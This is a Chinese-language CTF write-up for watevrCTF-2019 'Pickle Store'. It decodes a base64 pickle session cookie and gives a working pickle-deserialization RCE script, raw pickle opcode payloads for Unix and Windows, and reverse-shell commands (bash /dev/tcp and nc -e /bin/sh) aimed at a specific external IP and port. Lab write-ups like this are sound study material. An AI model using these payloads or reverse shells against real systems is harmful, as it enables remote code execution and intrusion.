[watevrCTF-2019]Pickle Store
知识点
解题步骤
先抓个包分析一下
发现奇怪的session
根据题目的意思,应该是个pickle反序列化,而且还经过base64加密
用python解密一下
import pickle
import base64
result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTSIBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBVgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBmVYEAAAAGFudGlfdGFtcGVyX2htYWNxB1ggAAAAYzAwYWJkNzdkODY2Njc3NTU1OWViNjU4M2QxNmNiMWZxCHUu'))
print(result)
结果如下
一开始以为修改价格来购买flag,原来是用反序列化来rce
rce脚本
import cPickle
import sys
import base64
COMMAND = sys.argv[1]
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print(base64.b64encode(cPickle.dumps(PickleRce())))
然后在linux上运行,因为靶机也是在linux平台上运行的unix和windows payload是不一样的,在unix上是这样的
cposix
system
p1
(S'sleep 5'
p2
tRp3
.
在windows上是这样的
cnt
system
p0
(Vsleep 5
p1
tp2
Rp3
.
最主要的原因就是第一行引入的模块,nt是windows平台下的一个python包,用来和windows系统交互,posix则是unix对应的包,题目靶机是unix的,用windows的payload自然失败。--摘自https://www.cnblogs.com/20175211lyz/p/12310293.html
然后将payload贴到cookie上,在请求一次,会出500
但是能反弹shell
不懂为啥,用
bash -i >& /dev/tcp/47.96.173.116/2333 0>&1
不能反弹shell
新的反弹shell命令
nc 47.96.173.116 2333 -e/bin/sh